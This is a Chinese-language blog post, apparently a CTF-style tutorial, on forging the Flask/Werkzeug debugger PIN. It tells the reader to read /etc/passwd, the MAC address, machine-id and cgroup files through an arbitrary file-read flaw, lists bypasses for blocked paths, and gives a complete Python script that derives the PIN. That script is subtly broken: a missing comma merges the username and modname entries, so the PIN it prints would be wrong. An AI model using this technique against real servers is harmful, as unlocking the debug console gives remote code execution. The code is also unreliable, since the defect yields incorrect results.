flask算pin

meraklbz發表於2024-10-30

pin碼是flask在開啟debug模式下,進行程式碼除錯模式所需的進入密碼,需要正確的PIN碼才能進入除錯模式.

對於pin碼運算方法的描述如下
pin碼生成要六要素

1.username 在可以任意檔案讀的條件下讀 /etc/passwd進行猜測
2.modname 預設flask.app
3.appname 預設Flask
4.moddir flask庫下app.py的絕對路徑,可以透過報錯拿到,如傳參的時候給個不存在的變數
5.uuidnode mac地址的十進位制,任意檔案讀 /sys/class/net/eth0/address
6.machine_id 機器碼 這個待會細說,一般就生成pin碼不對就是這錯了

machine_id是由/etc/machine-id,/proc/sys/kernel/random/boot_id,/proc/self/cgroup拼接而成的.

如果self被禁用可以用1來繞過,cgroup被禁用可以使用mountinfo或者cpuset去繞過.

在python3.8及以後使用的雜湊演算法為sha1,以前使用的是md5,新版指令碼如下.

import hashlib
from itertools import chain


def mac_10():
    """
    /sys/class/net/eth0/address mac地址十進位制
    :return:
    """
    mac_address = "02:42:c0:a8:10:02"
    # 將MAC地址視為一個十六進位制數(去掉冒號)
    value = int(mac_address.replace(":", ""), 16)
    return str(value)


probably_public_bits = [
    'app'  # username
    'flask.app',  # modname
    'Flask',  # appname
    '/usr/local/lib/python3.9/site-packages/flask/app.py'  # moddir
]

machine_id = '6ee8d0b5126041a1b3ddfefb9ea61b4e'
boot_id = '70d3d850-a8d2-4ff1-a285-34c4a401e57d'
c_group = '0::/'

id = ''
if machine_id:
    id += machine_id.strip()
else:
    id += boot_id.strip()
id += c_group.strip().rpartition('/')[2]

private_bits = [
    mac_10(),  # mac地址
    id  #machin-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x: x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

相關文章